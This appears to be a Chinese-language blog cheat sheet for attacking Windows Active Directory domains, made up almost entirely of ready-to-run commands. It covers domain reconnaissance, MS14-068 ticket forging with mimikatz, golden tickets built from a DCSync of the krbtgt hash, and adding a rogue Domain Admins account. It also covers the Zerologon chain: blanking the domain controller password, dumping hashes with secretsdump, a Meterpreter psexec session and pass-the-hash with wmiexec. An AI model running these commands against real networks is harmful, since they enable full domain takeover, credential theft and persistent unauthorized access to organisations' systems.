遵纪守法
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益
信息收集
- 获取主机安装的软件和版本
wmic product get name,version
- 获取主机进程列表 (等同于tasklist)
wmic process list brief
- 查询域内用户的SID
whoami /all
或者
wmic useraccount get Caption,sid
- 查询域内当前用户的信息
net user 用户名 /domain
- 查询ip信息
ipconfig /all
或者
systeminfo
知道域控xxx.com 定位域控ip
nslookup xxx.com
- 查询本机是否在域内
net config workstation
- 判断主域 而不是子域
net time /domain
- win下ICMP协议探测存活主机
for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="
- Linux下使用ping命令扫描C段
for k in $(seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[:]+" '{print $4}'; done
- 查询有几个域
net view /domain
- 查看 xxx 域中的计算机列表
net view /domain:xxx
- 查看域用户
net user /domain
- 查询域内所有用户组列表 (查看域里面的组)
net group /domain
- 查看域管理员
net group "domain admins" /domain
- 查看域控制器
net group "domain controllers" /domain
- 查找信任域
nltest /domain_trusts
返回所有信任192.168.117.3域的所有域:
nltest /domain_trusts /all_trusts /v /server:192.168.117.3
- 查找域控
nltest /dsgetdc:域名
nltest /dsgetdc:whoamianony.org
- 查找域控主机名
nltest /dclist:whoamianony.org
- 查找域控的主机名对应ip
net time /domain 得到域名 xx.com
nslookup xx.com 得到域控ip
或者
nslookup -type=SRV _ldap._tcp
或者
使用管理员权限运行cmd
netdom query dc 查看所有dc域控制器
你再使用ping 控制器名称就能获取到dc的ip了
ping DC
- windows使用cmd命令行获取管理员权限
用户名:Administrator 运行cmd程序
温馨提示:若有密码则输入密码,输入密码时不可见密码。
runas /noprofile /user:Administrator cmd
MS14-068域提权漏洞
- mimikatz
- 拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
- 利用MS14-068来提权,先检查下域控是否有MS14-068
- CVE编号CVE-2014-6324,补丁为 3011780
- 如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
systeminfo |find "3011780"
- 漏洞利用
使用 whoami/user 得到普通域用户的sid
ms14-068 -u venus@venus.com -s sid -d 192.168.63.137(域控) -p admin@123 生成一个票据 TGT_cache文件
例子:
ms14-068.exe -u moretz@whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142-1115 -d 192.168.93.30 -p Moretz2021
- 查看票据
kerberos::list
- 清除票据
kerberos::purge
- 利用mimikatz注入票据到内存
kerberos::ptc c:\TGT_cache票据文件 //将票据注入到内存中
- 执行命令(这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功)
net use \\DC.whoamianony.org
dir \\DC.whoamianony.org\c$
- 或者去提权
psexec.exe \\DC.whoamianony.org cmd.exe
黄金票据
伪造金票的所需条件
- 域名称
- 域的SID值
- 域的KRBTGT账号的HASH
- 伪造任意用户名
提升权限
privilege::debug
导出域内所有用户的账号密码
lsadump::dcsync /domain:test.com /all /csv
找到krbtgt的hash
lsadump::dcsync /domain:test.com /user:krbtgt
生成黄金票据
kerberos::golden /admin:Administrator /domain:venus.com /sid:域的sid(不带后缀的数字) /krbtgt:这个用户的hash /ticket:Administrator.kirbi(票据的名字)
例子:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi
执行结束后,会在运行目录生成一个1.kirbi的文件
清除票据
kerberos::purge
然后注入票据
kerberos::ptt Administrator.kirbi
查看票据是否成功
kerberos::tgt
遇到的一些坑
-
这种票据只会存在管理员权限的命令行窗口中
-
做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。
-
添加域管用户aaa:
net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain
CVE-2020-1472 (NetLogon特权提升漏洞)
impacket安装:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install
(如果事先安装了impacket可使用pip3 uninstall impacket命令卸载)
- 探测目标机是否存在此漏洞
- poc脚本地址:https://github.com/SecuraBV/CVE-2020-1472
python3 zerologon_tester.py dc 192.168.93.30
Success! DC can be fully compromised by a Zerologon attack 出现这个就说明存在漏洞
- 使用zerologon工具将域控密码打成空(这里打空的用户是域控所在机器的账户,并不是域控账户)
- exp脚本 https://github.com/risksense/zerologon
python3 set_empty_pw.py DC 192.168.93.30
- 使用impacket中的工具将域控的密码dump下来
python3 secretsdump.py WHOAMIANONY.ORG/DC\$@192.168.93.30 -just-dc -no-pass
- 得到hash之后,使用MSF PSEXEC模块上线
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run/exploit
或者
- 使用空密码dump域控上的hash。
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 WHOAMIANONY.ORG/DC\$@192.168.93.30
- 此时DC$用户hash已被替换为31d6cfe0d16ae931b73c59d7e0c089c0(空)
- 使用
administrator的hash
横向连接过去。
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.30
还原hash
- 获取计算机账号原始hash
生成
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
-----------------
下载到Kali中
get system.save
get sam.save
get security.save
-----------------
下载完成之后进行删除
del /f system.save
del /f sam.save
del /f security.save
- 查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
1 (2).png
- 使用脚本恢复hash https://github.com/risksense/zerologon
python3 reinstall_original_pw.py DC 192.168.93.30 7fd0cca5eafe480f617b04039bbf115c
- 使用空密码连接进行验证是否恢复
python3 secretsdump.py WHOAMIANONY.ORG/DC\$@192.168.93.30 -just-dc -no-pass
网友评论